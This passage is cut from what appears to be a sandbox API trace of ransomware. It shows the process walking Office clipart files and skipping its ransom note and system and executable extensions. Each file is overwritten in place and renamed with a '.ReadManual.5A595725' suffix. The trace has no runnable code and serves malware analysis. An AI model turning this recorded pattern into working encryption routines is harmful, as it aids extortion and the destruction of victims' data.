dwNumberOfBytesToMap=0x385c) returned 0x2f0000 [0258.852] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.852] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37952052916) returned 1 [0258.852] CloseHandle (hObject=0x184) returned 1 [0258.852] SetSecurityInfo () returned 0x57 [0258.852] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.852] CloseHandle (hObject=0x194) returned 1 [0258.853] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0258.853] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN00965_.WMF" | out: lpString1="AN00965_.WMF") returned="AN00965_.WMF" [0258.853] lstrcmpiW (lpString1="AN00965_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.853] StrStrIW (lpFirst="AN00965_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.853] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.853] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.853] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" [0258.853] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ReadManual.5A595725" [0258.853] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.ReadManual.5A595725") returned 87 [0258.853] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37952211820) returned 1 [0258.853] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0258.854] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.854] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7072) returned 1 [0258.854] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba0, lpName=0x0) returned 0x184 [0258.854] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.855] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.855] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.857] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.857] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba0) returned 0x2f0000 [0258.857] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.857] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37952613811) returned 1 [0258.857] CloseHandle (hObject=0x184) returned 1 [0258.857] SetSecurityInfo () returned 0x57 [0258.858] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.858] CloseHandle (hObject=0x194) returned 1 [0258.859] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0258.859] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01039_.WMF" | out: lpString1="AN01039_.WMF") returned="AN01039_.WMF" [0258.859] lstrcmpiW (lpString1="AN01039_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.859] StrStrIW (lpFirst="AN01039_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.859] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.859] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.859] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" [0258.859] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ReadManual.5A595725" [0258.859] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.ReadManual.5A595725") returned 87 [0258.859] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37952798982) returned 1 [0258.859] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0258.859] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.860] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3344) returned 1 [0258.860] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd10, lpName=0x0) returned 0x184 [0258.860] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.860] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.860] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.865] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.865] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd10) returned 0x2f0000 [0258.865] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.865] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37953368098) returned 1 [0258.865] CloseHandle (hObject=0x184) returned 1 [0258.865] SetSecurityInfo () returned 0x57 [0258.865] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.865] CloseHandle (hObject=0x194) returned 1 [0258.867] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0258.867] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01044_.WMF" | out: lpString1="AN01044_.WMF") returned="AN01044_.WMF" [0258.867] lstrcmpiW (lpString1="AN01044_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.867] StrStrIW (lpFirst="AN01044_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.867] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.867] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.867] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.867] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.867] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.867] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.868] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.868] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" [0258.868] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ReadManual.5A595725" [0258.868] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.ReadManual.5A595725") returned 87 [0258.868] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37953660084) returned 1 [0258.868] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0258.868] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.868] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1596) returned 1 [0258.868] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63c, lpName=0x0) returned 0x184 [0258.868] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.869] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.869] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.870] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.871] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63c) returned 0x2f0000 [0258.871] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.871] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37953959985) returned 1 [0258.871] CloseHandle (hObject=0x184) returned 1 [0258.871] SetSecurityInfo () returned 0x57 [0258.871] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.871] CloseHandle (hObject=0x194) returned 1 [0258.872] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0258.872] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01060_.WMF" | out: lpString1="AN01060_.WMF") returned="AN01060_.WMF" [0258.872] lstrcmpiW (lpString1="AN01060_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.872] StrStrIW (lpFirst="AN01060_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.872] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.873] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.873] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" [0258.873] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ReadManual.5A595725" [0258.873] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.ReadManual.5A595725") returned 87 [0258.873] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37954176273) returned 1 [0258.873] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0258.874] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.874] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7968) returned 1 [0258.874] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f20, lpName=0x0) returned 0x184 [0258.874] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.875] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.875] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.877] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.877] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f20) returned 0x2f0000 [0258.877] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.877] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37954586060) returned 1 [0258.877] CloseHandle (hObject=0x184) returned 1 [0258.877] SetSecurityInfo () returned 0x57 [0258.877] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.877] CloseHandle (hObject=0x194) returned 1 [0258.879] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0258.879] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01084_.WMF" | out: lpString1="AN01084_.WMF") returned="AN01084_.WMF" [0258.879] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.879] StrStrIW (lpFirst="AN01084_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.879] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0258.879] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0258.879] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" [0258.879] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ReadManual.5A595725" [0258.879] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.ReadManual.5A595725") returned 87 [0258.879] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37954794172) returned 1 [0258.879] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 0x20 [0258.879] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.880] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1832) returned 1 [0258.880] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x728, lpName=0x0) returned 0x184 [0258.880] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.880] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.880] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.882] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.882] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x728) returned 0x2f0000 [0258.882] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.882] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37955116950) returned 1 [0258.882] CloseHandle (hObject=0x184) returned 1 [0258.882] SetSecurityInfo () returned 0x57 [0258.883] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.883] CloseHandle (hObject=0x194) returned 1 [0258.883] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0258.883] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN01173_.WMF" | out: lpString1="AN01173_.WMF") returned="AN01173_.WMF" [0258.883] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="RecoveryManual.html") returned -1 [0258.883] StrStrIW (lpFirst="AN01173_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.883] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0258.883] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0258.883] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0258.883] StrCmpIW (psz1="WMF", psz2="msi") returned 1 